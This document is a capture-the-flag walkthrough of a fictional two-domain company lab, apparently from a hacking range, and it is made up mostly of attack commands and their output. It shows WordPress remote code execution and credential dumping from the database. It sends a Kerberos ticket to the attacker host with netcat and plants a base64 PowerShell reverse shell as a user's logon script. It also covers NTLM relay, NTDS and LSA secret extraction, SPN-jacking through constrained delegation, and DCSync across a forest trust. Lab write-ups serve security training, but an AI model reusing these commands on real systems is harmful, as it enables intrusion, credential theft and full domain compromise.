BlackRiver Technologies

Featured HackSmarter RangeHardWordPressActive DirectoryWindows & LinuxPivotingCross-Domain

IPS/Hosts

10.0.0.5 WEB.blackriver.local

10.0.1.5 DC01.blackriver.local
10.0.1.4 FILES.blackriver.local
10.0.1.6 wkst.blackriver.local

Domain

blackriver.local

Company Story – BlackRiver & RiverBranch

BlackRiver Technologies AG is a growing Swiss IT and software services company headquartered in Zurich. Founded in 2014, the company provides software development, managed hosting, IT consulting, and infrastructure services to businesses across Europe.

After several years of growth, BlackRiver expanded its operations through the acquisition of RiverBranch Solutions, a smaller regional IT services company.

Rather than completely migrating RiverBranch's existing infrastructure into BlackRiver's corporate environment, the company decided to keep both Active Directory environments operational. RiverBranch therefore continues to maintain its own domain, servers, administrative systems, and IT staff.

To simplify collaboration between the two organizations, the IT teams established a bidirectional Active Directory trust between the two domains:

BLACKRIVER.LOCAL  ◄══════════════►  RIVERBRANCH.LOCAL
                   Bidirectional
                       Trust

The trust allows resources and identities from both environments to be used across the organizational boundary while each company retains its own Active Directory infrastructure.

BlackRiver's primary corporate infrastructure remains within BLACKRIVER.LOCAL, while RIVERBRANCH.LOCAL hosts systems inherited from the acquisition.

The integration was performed under considerable time pressure. Instead of completely redesigning permissions and administrative structures, existing groups, delegated privileges, service accounts, and legacy configurations were retained and extended across the newly connected environments.

What was intended as a convenient way to integrate the new branch created a much larger and more complex security boundary.

Two companies. Two domains. One bidirectional trust.


10.0.0.5 WEB.blackriver.local

Nmap Results

Host is up (0.11s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2f:a8:45:ef:0f:9b:fa:02:b0:bd:f8:d2:02:ba:25:4e (ECDSA)
|_  256 4d:43:22:ff:a6:0b:18:45:cd:d0:5f:f0:bf:2b:57:41 (ED25519)
80/tcp  open  http        Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: BlackRiver Technologies \xE2\x80\x94 IT & Software Solutions
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

We open http://10.0.0.5/

We see a link to a Wordpress Page

We have a Wordpress Page

We scan with wpscan to get WordPress Version

wpscan --url http://10.0.0.5/wordpress

Affected Versions vulnerable to WP2Shell

Version RangeStatus
<= 6.8.5Not affected
6.9.0 – 6.9.4Affected
7.0.0 – 7.0.1Affected

https://github.com/Icex0/wp2shell-poc

We Exploited WordPress to Gain a Shell

python3 wp2shell.py shell http://10.0.0.5/wordpress -i --timeout 60

We Retrieved the WordPress Database Credentials

cat /var/www/html/wordpress/wp-config.php

We Extracted WordPress User Hashes

mysql -u wpuser -p'wpsecure2024' -e "USE wp_lab; SELECT ID, user_login, user_pass FROM wp_users;"

We got user steven hash

We Extracted WordPress User Credentials

mysql -u wpuser -p'wpsecure2024' -e "USE wp_lab; SELECT ID, user_login, user_pass, user_email FROM wp_users;"

We Cracked Steven's Bcrypt Hash

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt steven_hash

Pivoting to Corporate Network

To reach the mashines in Corporate Network we need to pivot

We try to ping DC01.blackriver.local

ping 10.0.1.5

We cant reach DC01.blackriver.local (Corporate Network)

We start ligolo-mp on kali

sudo ligolo-mp server -laddr 0.0.0.0:11601

We create a agent with CTRL+B and upload the agent to the target

We upload the agent to the target (WEB.blackriver.local)

wget http://192.168.211.2/agent.bin

We start the agent

./agent.bin 

We add 10.0.1.0/24 as Route (Corporate Network)

Then we start relay

The connection is established

We try to reach DC01.blackriver.local (Corporate Network)

ping 10.0.1.5

Now we can reach DC01.blackriver.local (Corporate Network)

We Verified SMB Access as s.miller

nxc smb 10.0.1.5 -d blackriver.local -u s.miller -p 'steven2006'

The user s.miller is AD user

Bloodhound Collection

nxc ldap 10.0.1.5 \
-d blackriver.local \
-u s.miller \
-p 'steven2006' \
--dns-server 10.0.1.5 \
--bloodhound \
--collection All

Bloodhound Collection (alternative)

rusthound-ce \
    -d blackriver.local \
    -f dc01.blackriver.local \
    -u 's.miller' \
    -p 'steven2006' \
    -c DCOnly \
    -z \
    -o rusthound_blackriver
    
 bloodhound-ce-python \
  -u 's.miller@blackriver.local' \
  -p 'steven2006' \
  -d blackriver.local \
  -ns 10.0.1.5 \
  -dc dc01.blackriver.local \
  -c All \
  --zip \
  --dns-timeout 10 \
  --dns-tcp

The user s.miller have GenericAll on Linux Users OU

We Created a New Domain User in the Linux Users Organizational Unit

bloodyAD --host 10.0.1.5 -d blackriver.local -u s.miller -p 'steven2006' \
add user root 'R00tPwn!2026x' --ou 'OU=Linux Users,DC=blackriver,DC=local'

We Connected to WEB via SSH as s.miller

ssh s.miller@10.0.0.5 

We Obtained a Kerberos Ticket as Root

kinit root@BLACKRIVER.LOCAL

We Checked the Kerberos Tickets

klist

We Switched to Root Using Kerberos

ksu root -n root@BLACKRIVER.LOCAL

User Flag

We got the user Flag

cat /root/user.txt

We Downloaded and Ran LinPEAS

wget http://192.168.211.2/linpeas.sh

We Ran LinPEAS for Privilege Escalation Enumeration

bash linpeas.sh

We Obtained a Kerberos Ticket Using the Keytab

export KRB5CCNAME=FILE:/tmp/c.stones.ccache
kinit -k -t /etc/c.stones.keytab c.stones@BLACKRIVER.LOCAL

We Verified the Kerberos Credential Cache

KRB5CCNAME=FILE:/tmp/c.stones.ccache klist

We Received the Kerberos Credential Cache

nc -l -p 1234 > c.stones.ccache

We Transferred the Kerberos Credential Cache

cat /tmp/c.stones.ccache | nc -w 3 192.168.211.2 1234

We Loaded and Verified the Kerberos Ticket

export KRB5CCNAME=$(pwd)/c.stones.ccache

klist


FILES.blackriver.local 10.0.1.4

Nmap scan report for FILES.blackriver.local (10.0.1.4)
Host is up (0.11s latency).
Not shown: 65523 closed tcp ports (reset)
PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=FILES.blackriver.local
| Issuer: commonName=FILES.blackriver.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-08-05T18:17:02
| Not valid after:  2027-02-04T18:17:02
| MD5:   9e2c bf8a 5976 85ea 68eb 68f3 61f2 a5b7
|_SHA-1: f148 b44f 7dc4 9b9c 8d75 15fc 6f8a 4c1a 2730 bbbe
|_ssl-date: TLS randomness does not represent time
| rdp-ntlm-info: 
|   Target_Name: BLACKRIVER
|   NetBIOS_Domain_Name: BLACKRIVER
|   NetBIOS_Computer_Name: FILES
|   DNS_Domain_Name: blackriver.local
|   DNS_Computer_Name: FILES.blackriver.local
|   DNS_Tree_Name: blackriver.local
|   Product_Version: 10.0.26100
|_  System_Time: 2026-08-10T15:32:14+00:00
5985/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc              Microsoft Windows RPC
49665/tcp open  msrpc              Microsoft Windows RPC
49666/tcp open  msrpc              Microsoft Windows RPC
49667/tcp open  msrpc              Microsoft Windows RPC
49676/tcp open  msrpc              Microsoft Windows RPC
49677/tcp open  msrpc              Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

We Configured Kerberos and Host Resolution

nxc smb 10.0.1.5 -u 's.miller' -p 'steven2006' --generate-krb5-file /etc/krb5.conf
nxc smb 10.0.1.5 -u 's.miller' -p 'steven2006' --generate-hosts-file /etc/hosts

We Synchronized Our System Time with DC01

ntpdate 10.0.1.5

We Added FILES to the Hosts File

echo "10.0.1.4 FILES.blackriver.local FILES" | sudo tee -a /etc/hosts

We Set the Kerberos Credential Cache

export KRB5CCNAME=$(pwd)/c.stones.ccache

We Enumerated SMB Shares on FILES

nxc smb FILES.blackriver.local \
  -d blackriver.local \
  -k \
  --use-kcache \
  --shares \
  --no-smbv1 \
  --smb-timeout 10 

1: We stop all SMB connection on WEB (as root) (use this command first)

systemctl stop smbd nmbd 2>/dev/null
systemctl mask smbd nmbd 2>/dev/null
pkill -9 smbd nmbd 2>/dev/null
ss -tlnp | grep ':445'

2: We start the agent as user root now

setsid ./agent.bin >/tmp/.agent.log 2>&1 </dev/null &

3: We set a redirector on ligolo-mp

0.0.0.0:445 —> 192.168.211.2:445

We Created a Malicious Shortcut on the Linux Deploy Share

The IP point is from WEB.blackriver.local, because the mashines from Corporate Network cant reach our tun0 IP

nxc smb FILES.blackriver.local  -k --use-kcache -M slinky -o SERVER=10.0.0.5 SHARE=linux-deploy NAME=ClickMe

We Started Responder on tun0

responder -I tun0

We Started an SMB Relay Listener (it will take some time over the VPN)

impacket-ntlmrelayx -smb2support -t smb://10.0.1.4

Alternative command to change local admin PW (faster)

 impacket-ntlmrelayx -smb2support -t smb://10.0.1.4 -c "net user Administrator paSSword1337"
nxc smb 10.0.1.4 -u 'Administrator' -p 'paSSword1337' --local-auth

We Dumped Local LSA Secrets on FILES

nxc smb 10.0.1.4 -u 'Administrator' -H 'bd4099d7711bf8aea078ddf803bd7226' --lsa --local-auth

We got BLACKRIVER\s.gomez: X~D:)a/C+sIof-`1}j6"

Findings on Files

Shared/IT/BlackRiver_Network_Topology_and_IT_Responsibilities.pdf


wkst.blackriver.local 10.0.1.6

nmap -p 1-65535 -T4 -A -v -Pn 10.0.1.6
Nmap scan report for 10.0.1.6
Host is up (0.11s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose

We Verified SMB Access to WKST as s.gomez

nxc smb 10.0.1.6 -u 's.gomez' -p 'X~D:)a/C+sIof-`1}j6"'

The user s.gomez are Admin on WORKSTATION

We Dumped LSA and DPAPI Secrets on WKST

nxc smb 10.0.1.6 -u 's.gomez' -p 'X~D:)a/C+sIof-`1}j6"' --lsa --dpapi

We Verified SMB Access as r.martinez

nxc smb 10.0.1.5 -u 'r.martinez' -p 'M4rt1n3z_B0c4Jrs!26' 

We Identified That the r.martinez Has WriteOwner Rights Over the r.martinez IT Support Users Group

We Identified That the IT Support Users Group Has ForceChangePassword Rights Over Multiple Domain Users, Including a.bonez, f.bruce, and m.brown

We Identified That f.bruce Is a Member of the Support Operations Group


DC01.blackriver.local 10.0.1.5

We Granted Full Control over IT Support Users

bloodyAD --host 10.0.1.5 -d 'blackriver.local' -u 'r.martinez' -p 'M4rt1n3z_B0c4Jrs!26' set owner 'IT Support Users' 'r.martinez'

We Granted Full Control over IT Support Users

dacledit.py -action write -rights FullControl -principal 'r.martinez' -target 'IT Support Users' -dc-ip 10.0.1.5 blackriver.local/r.martinez:'M4rt1n3z_B0c4Jrs!26'

We Added r.martinez to IT Support Users

bloodyAD -u 'r.martinez' -p 'M4rt1n3z_B0c4Jrs!26' -d 'blackriver.local' --host 10.0.1.5 add groupMember "IT Support Users" 'r.martinez'

We Reset f.bruce's Password

bloodyAD -u 'r.martinez' -p 'M4rt1n3z_B0c4Jrs!26' -d 'blackriver.local' --host 10.0.1.5 set password 'f.bruce' 'pa$$w0rd'

We Enumerated Writable Active Directory Objects

bloodyAD -u 'f.bruce' -p 'pa$$w0rd' -d 'blackriver.local' --host 10.0.1.5 get writable --detail  

We Verified d.hamilton's Logon Script Path

bloodyAD -u 'f.bruce' -p 'pa$$w0rd' \
  -d blackriver.local \
  --host 10.0.1.5 \
  get object 'd.hamilton' --attr scriptPath

from 0.0.0.0:4444 —> 192.168.211.2:4444

We use the PS#3 from https://www.revshells.com/

But we use the WEB.blackriver.local IP 10.0.0.5 (not our tun0 IP)

update.bat

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMAAuADAALgA1ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

We Uploaded the Logon Script to SYSVOL

smbclient "//10.0.1.5/SYSVOL" \
  -U 'blackriver.local/f.bruce%pa$$w0rd' \
  -c 'cd blackriver.local\scripts\Hamilton; put update.bat update.bat'

We Started a Reverse Shell Listener

rlwrap nc -lvnp 4444

We Modified d.hamilton's Logon Script Path

bloodyAD -d blackriver.local -u f.bruce -p 'pa$$w0rd' --host 10.0.1.5 set object d.hamilton scriptPath -v 'update.bat'

We got a shell as d.hamilton

We Connected to FILES as s.gomez

smbclient.py 'blackriver.local'/'s.gomez':'X~D:)a/C+sIof-`1}j6"'@10.0.1.4

We Downloaded the IT Share Files

use Shared
cd IT
mget *

BlackRiver Technologies
IT Operations
August 2026 - Maintenance Notes

Scheduled Maintenance Window:
Saturday, August 15, 2026
22:00 - 02:00

Planned Activities:
- Install pending Windows security and quality updates.
- Reboot infrastructure servers where required.
- Verify domain services after maintenance.
- Review FILES backup status and recent validation results.
- Check available disk space on production systems.
- Verify WEB service availability.
- Review failed scheduled tasks from the previous month.
- Perform basic workstation connectivity checks.
- Verify the scheduled System State backup from DC01.

Systems:
DC01    - Domain Controller / System State Backup Source
FILES   - File Server / Backup Storage
WEB     - Web Server
WKST    - Deployment Workstation

Backup Operations:
The Backup Task Operators team is responsible for the scheduled
System State backup of DC01.

The System State backup includes:
- Active Directory Database (NTDS.dit)
- Registry Hives (SYSTEM, SECURITY, SOFTWARE, SAM, DEFAULT)
- SYSVOL (Group Policies and Scripts)

The team is responsible for monitoring scheduled backup jobs,
reviewing job results, and performing routine backup validation.

Backup data is transferred to the designated internal storage location on FILES:
\\FILES.blackriver.local\Backup\DC01\System_State_[Timestamp]

The Backup share is accessible to members of the IT Operations team for routine backup review and validation.

Failed or incomplete backup jobs should be reviewed by a member
of Backup Task Operators.

Notes:
The FILES server may be temporarily unavailable during the
maintenance window.

Please document unexpected issues and configuration changes
before closing the maintenance window.

IT Operations
BlackRiver Technologies

Based on the maintenance notes, it appears that members of the Backup Task Operators group are responsible for managing and running the scheduled System State backup task on DC01. We already know that d.hamilton is a member of this group, which suggests that he may have permission to execute the backup task

We Enumerated Scheduled Tasks

Get-ScheduledTask | Select-Object TaskName,TaskPath,State

We Inspected the Backup Validation Task

Get-ScheduledTask -TaskName "BlackRiver Backup Validation" | Format-List *

We Triggered the Backup Validation Task

schtasks /run /tn "BlackRiver Backup Validation"

Verify the Backup

After executing the scheduled task, we reconnect to the FILES share after approximately five minutes.

The Backup share, which was empty before the task was executed, now contains a newly created System State backup of DC01. This confirms that the backup task completed successfully.

We Connected to FILES via SMB

smbclient.py 'blackriver.local'/'s.gomez':'X~D:)a/C+sIof-`1}j6"'@10.0.1.4

We Browsed the DC01 Backup

use Backup

cd DC01

cd System_State_20260811_191234

ls

We Displayed the Directory Structure of the Backup Share

tree

We can identify three useful files:

  • NTDS.dit
  • SECURITY
  • SYSTEM

We Downloaded the NTDS.dit Active Directory Database and the SYSTEM Registry Hive from the Backup

cd Active Directory
get NTDS.dit
cd ../Registry
get SYSTEM

python3 -m venv ~/impacket-venv
source ~/impacket-venv/bin/activate

git clone https://github.com/fortra/impacket.git
cd impacket
git checkout 701354e9

pip install --upgrade pip setuptools wheel
pip install .

pip show impacket

We Extracted the Active Directory Password Hashes from the Offline NTDS.dit Database Using the SYSTEM Registry Hive

secretsdump.py -ntds NTDS.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Root Flag

We Connected to DC01 as Administrator

evil-winrm -i 10.0.1.5 -u 'blackriver.local\Administrator' -H '2ab6d17bc98e9aa9cec4249421d6aa47'

We got the root Flag

cat C:\Users\Administrator\Desktop\root.txt

Double Pivot to the Branch Network

From every host on the Corporate Network can reach the Branch Network

#1 First, we generated a second Ligolo agent for DC01. Since DC01 could not directly communicate with our Kali machine, we configured the agent to connect to the first pivot host, WEB (10.0.0.5), on port 11601.

We start ligolo-mp

sudo ligolo-mp server -laddr 0.0.0.0:11601

Rename the agent.bin to agent.exe

mv agent.bin agent.exe

#2 Deploying and Executing the Ligolo Agent on DC01.blackriver.local

upload agent.exe
./agent.exe

#3 Next, we configured a TCP redirector on the existing WEB session. The redirector listened on 0.0.0.0:11601 and forwarded the connection to our Kali machine at 192.168.211.2:11601. This allowed the agent running on DC01 to connect back to our Ligolo server through WEB.

#4 After starting the agent on DC01, a new Ligolo session was established. We then added the Branch Network (10.0.2.0/24) as a route through the DC01 session and started the relay.

Now we can reach Branch Network from our kali host


Riverbranch.local Domain

We Established a PowerView Session Against the BLACKRIVER.LOCAL Domain Using the Administrator NTLM Hash

powerview blackriver.local/Administrator@10.0.1.5 -H 2ab6d17bc98e9aa9cec4249421d6aa47 --use-ldap
Get-DomainTrust

Alternative with PS on DC01.blackriver.local

Get-ADTrust -Filter * | Format-List Name,Direction,TrustType,ForestTransitive

We found a PDF on Administrator Desktop at DC01.blackriver.local

C:/Users/Administrator/Desktop/RiverBranch_Access_Review.pdf


Bloodhound Enumeration

bloodhound-ce-python | Kali Linux Tools
Python based ingestor for BloodHound CEThis package contains a Python based ingestor for BloodHound CE, based on Impacket.
https://www.kali.org/tools/bloodhound-ce-python/

1. BloodHound Collection – BLACKRIVER

rusthound-ce \
    -d blackriver.local \
    -f dc01.blackriver.local \
    -u 's.gomez' \
    -p 'X~D:)a/C+sIof-`1}j6"' \
    -c DCOnly \
    -z \
    -o rusthound_blackriver
    
 bloodhound-ce-python \
  -u 's.gomez@blackriver.local' \
  -p 'X~D:)a/C+sIof-`1}j6"' \
  -d blackriver.local \
  -ns 10.0.1.5 \
  -dc dc01.blackriver.local \
  -c All \
  --zip \
  --dns-timeout 10 \
  --dns-tcp

2. BloodHound Collection – RIVERBRANCH

cat > /root/Schreibtisch/krb5_cross.conf <<'EOF'
[libdefaults]
    default_realm = BLACKRIVER.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = false
    rdns = false
    forwardable = true

[realms]
    BLACKRIVER.LOCAL = {
        kdc = 10.0.1.5
    }

    RIVERBRANCH.LOCAL = {
        kdc = 10.0.2.5
    }

[domain_realm]
    .blackriver.local = BLACKRIVER.LOCAL
    blackriver.local = BLACKRIVER.LOCAL

    .riverbranch.local = RIVERBRANCH.LOCAL
    riverbranch.local = RIVERBRANCH.LOCAL

[capaths]
    BLACKRIVER.LOCAL = {
        RIVERBRANCH.LOCAL = .
    }

    RIVERBRANCH.LOCAL = {
        BLACKRIVER.LOCAL = .
    }
EOF

PW= X~D:)a/C+sIof-`1}j6"

export KRB5_CONFIG=/root/Schreibtisch/krb5_cross.conf

kinit s.gomez@BLACKRIVER.LOCAL
kvno ldap/br-dc01.riverbranch.local@RIVERBRANCH.LOCAL

rusthound-ce \
    -d riverbranch.local \
    -f br-dc01.riverbranch.local \
    -k \
    -c DCOnly \
    -z \
    -o rusthound_riverbranch
    
 bloodhound-ce-python \
  -u 's.gomez@blackriver.local' \
  -p 'X~D:)a/C+sIof-`1}j6"' \
  -d riverbranch.local \
  -ns 10.0.2.5 \
  -dc BR-DC01.riverbranch.local \
  -c All \
  --zip \
  --dns-timeout 10 \
  --dns-tcp

We Identified the Cross-Forest Trust Between BLACKRIVER.LOCAL and RIVERBRANCH.LOCAL

We Identified That BLACKRIVER\Branch Operations Is Nested Into the RIVERBRANCH\Branch Systems Support Group, Which Has ForceChangePassword Rights Over Multiple RiverBranch Users, Including j.torrance.

We Identified That j.torrance Is a Member of the Infrastructure Operators Group, Which Has WriteSPN Rights Over the MGMT01$ Machine Account.

We Identified That BR-OPS01$ Is Configured for Constrained Delegation to BR-FILE01. Although BR-FILE01 Appears to Have Been Deleted, the Delegation Configuration Referencing the Former Host Is Still Present on BR-OPS01$.

We Identified That MGMT01$ Has ReadGMSAPassword Rights Over the svc_directory$ gMSA Account

We Identified That svc_directory$ Has GetChanges and GetChangesAll Rights Over the RIVERBRANCH.LOCAL Domain, Allowing DCSync

We Identified an Attack Path From j.torrance Through the Infrastructure Operators Group, Which Has WriteSPN Over MGMT01$; Compromising the Machine Account Provides Access to the svc_directory$ gMSA, Which Holds DCSync Rights Over RIVERBRANCH.LOCAL, Leading to Full Domain Compromise.


Attack Chain Ghost SPN

SPN-Missbrauch: Ein Grenzfall des WriteSPN-Missbrauchs - Semperis
Angreifer können SPN manipulieren, ohne SeEnableDelegation-Rechte zu erlangen. Lesen Sie unseren Beitrag über SPN-Jacking, um mehr zu erfahren.
https://www.semperis.com/de/blog/spn-jacking-an-edge-case-in-writespn-abuse/

C:/Shares/Shared/IT/BlackRiver_Network_Topology_and_IT_Responsibilities.pdf

We Added s.gomez to the Branch Operations Group Using Domain Administrator Privileges

bloodyAD --host 10.0.1.5 -d blackriver.local -u Administrator -p :2ab6d17bc98e9aa9cec4249421d6aa47 \
  add groupMember "Branch Operations" "s.gomez"

We Reset j.torrance’s Password Across the Forest Trust Using s.gomez’s Delegated Permissions

bloodyAD \
  --host BR-DC01.riverbranch.local \
  -d blackriver.local \
  -u s.gomez \
  -p 'X~D:)a/C+sIof-`1}j6"' \
  set password 'j.torrance' 'Password123!'

We Enumerated SMB Access Across the Hosts Using the j.torrance Credentials

nxc smb host.txt -u j.torrance -p 'Password123!' --smb-timeout 10 

User j.torrance is local admin at BR-OPS01.riverbranch.local 10.0.2.4

1: We Enumerated the Constrained Delegation Configuration of the BR-OPS01$ Machine Account

bloodyAD --host BR-DC01.riverbranch.local -d riverbranch.local -u j.torrance -p 'Password123!' \
  get object 'BR-OPS01$' --attr userAccountControl,msDS-AllowedToDelegateTo

2: We Added a CIFS SPN for BR-FILE01 to the MGMT01$ Machine Account Using j.torrance’s WriteSPN Rights

bloodyAD -d riverbranch.local -u j.torrance -p 'Password123!' --host 10.0.2.5 msldap addspn 'CN=MGMT01,CN=Computers,DC=riverbranch,DC=local' 'cifs/BR-FILE01.riverbranch.local'

10.0.2.5 BR-DC01.riverbranch.local riverbranch.local BR-DC01
10.0.2.6 MGMT01.riverbranch.local riverbranch.local MGMT01
10.0.2.6 BR-FILE01.riverbranch.local BR-OLD01

3: We Dumped Local Credentials and Secrets from the Target System Using j.torrance Credentials to get BR-OPS01$ aesKey

(Because BR-OPS01$ Has Constrained Delegation Rights to BR-FILE01)

secretsdump.py \
  riverbranch.local/j.torrance:'Password123!'@BR-OPS01.riverbranch.local \
  -target-ip 10.0.2.4

4: We Impersonated the Administrator and Requested a CIFS Service Ticket for BR-FILE01 via Constrained Delegation

getST.py \
  -spn 'cifs/BR-FILE01.riverbranch.local' \
  -impersonate administrator \
  -dc-ip 10.0.2.5 \
  'riverbranch.local/BR-OPS01$' \
  -aesKey 59fd60674139d0e57ef38e53f1afdc59f27cb457d408f38247ee5857b29c9e4b

We Configured KRB5CCNAME to Use the Administrator CIFS Service Ticket for BR-FILE01 (Effectively MGMT01$)

export KRB5CCNAME=administrator@cifs_BR-FILE01.riverbranch.local@RIVERBRANCH.LOCAL.ccache

5: We Dumped the Local SAM and LSA Secrets from BR-FILE01 (Effectively MGMT01$) Due to the SPN Change) Using the Kerberos Ticket for the Impersonated Administrator Account

secretsdump.py -k -no-pass \
  -dc-ip 10.0.2.5 \
  administrator@BR-FILE01.riverbranch.local \
  -target-ip 10.0.2.6

6: We Retrieved the gMSA Credentials Using the Compromised MGMT01$ Machine Account

nxc ldap BR-DC01.riverbranch.local -u 'MGMT01$' -H '46c5342de671b5463d86eeb3acaede25' --gmsa

7: We Dumped the RIVERBRANCH Active Directory Database Using the Compromised svc_directory$ gMSA Account

nxc smb BR-DC01.riverbranch.local -u 'svc_directory$' -H '4f7936240364122bfa9fb5d0b3378baa' --ntds

Second Root Flag

We Connected to DC01 as Administrator

evil-winrm -i 10.0.2.5 -u 'riverbranch.local\Administrator' -H 'b82da4003f7d6db3f118c7d3e1924777'

We got the root Flag

cat C:\Users\Administrator\Desktop\root.txt

Need to Fix

 DNS Problem Fixen
 
 bloodhound-ce-python \
  -u 's.miller@blackriver.local' \
  -p 'steven2006' \
  -d blackriver.local \
  -ns 10.0.1.5 \
  -dc dc01.blackriver.local \
  -c All \
  --zip \
  --dns-timeout 10 \
  --dns-tcp
  
  
  Script umbenenen
  C:\Users\Administrator\AppData\Local\BlackRiver\BackupUsers.ps1